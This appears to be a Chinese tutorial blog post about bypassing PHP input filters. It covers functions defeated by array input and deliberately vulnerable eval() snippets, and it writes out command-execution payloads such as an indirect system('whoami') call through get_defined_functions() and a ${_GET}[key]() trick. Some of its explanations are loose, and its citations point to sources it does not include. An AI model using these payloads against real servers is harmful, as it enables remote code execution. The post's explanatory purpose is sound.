php中可以使用数组“[ ]”绕过的函数

待补充完善。。

  • sha1
  • MD5
  • is_numeric
  • strpos
  • strcmp
### 正则表达式绕过 `eval` 函数安全限制的方法 在某些情况下,开发者可能会尝试使用正则表达式来过滤掉潜在危险的输入以防止恶意代码被执行。然而,在实际应用中这些措施可能并不完全有效。 对于给定的例子[^2]: ```php <?php error_reporting(0); highlight_file(__FILE__); $code = $_GET['code']; if (preg_match('/[a-z0-9]/i', $code)) { die('hacker'); } eval($code); ``` 此段代码试图阻止包含字母或数字的字符串作为 `$code` 参数传递进来并执行。为了绕过这种简单的正则检测,攻击者可以利用非字母数字字符构建有效的 PHP 语法结构来进行攻击。例如,通过使用特殊字符组合或者内置常量实现功能调用而不违反现有的正则条件。 一种具体的绕过方式涉及到使用 PHP 中预定义好的魔术常数以及数组索引来访问特定函数名。考虑到另一个例子中的技巧[^4]: ```php <?php highlight_file(__FILE__); $cmd = $_POST['cmd']; if (isset($cmd)){ if (preg_match('/eval|system|exec|passthru|[\"\' ]/i', $cmd)){ die('No Hack!'); } else{ eval($cmd); } }else{ echo 'Welcome!'; } ``` 这里展示了如何通过获取内部已加载函数列表并通过下标选取目标函数的方式来规避关键字黑名单检查。具体来说,可以通过如下请求参数达到目的: ```bash cmd=get_defined_functions()[internal][373]("whoami"); ``` 这实际上是在调用 `system()` 函数而未直接提及它的名称。值得注意的是,这种方法依赖于服务器端环境的具体配置和版本差异,因此不一定总是可行。 另外还有一种基于异或操作符 (`^`) 的技术可用于构造看似无害但实际上具有破坏性的 payload 。由于任何字符与 `\xFF` 进行按位异或运算将会得到其自身的补码表示形式,所以如果能够巧妙地设计输入,则可以在不触发敏感模式匹配的情况下完成预期行为[^5]。 尽管上述方法确实存在理论上的可行性,但在真实世界的应用开发过程中应当极力避免任何形式的动态代码评估机制(如 `eval()`),转而采用更安全可靠的替代方案来处理业务逻辑需求。 #### 示例 Payload 构造 假设有一个非常严格的正则规则只允许部分符号的存在,那么下面是一个可能用来绕过的实例: ```php ${_GET}[key]() // 利用了PHP解析器特性使得 _GET[key]() 被解释成 $_GET['key']() ``` 这里的 `${}` 结构让 PHP 解析引擎将其视为一个整体变量而非独立组件,从而成功避开了对非法字符的筛查过程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值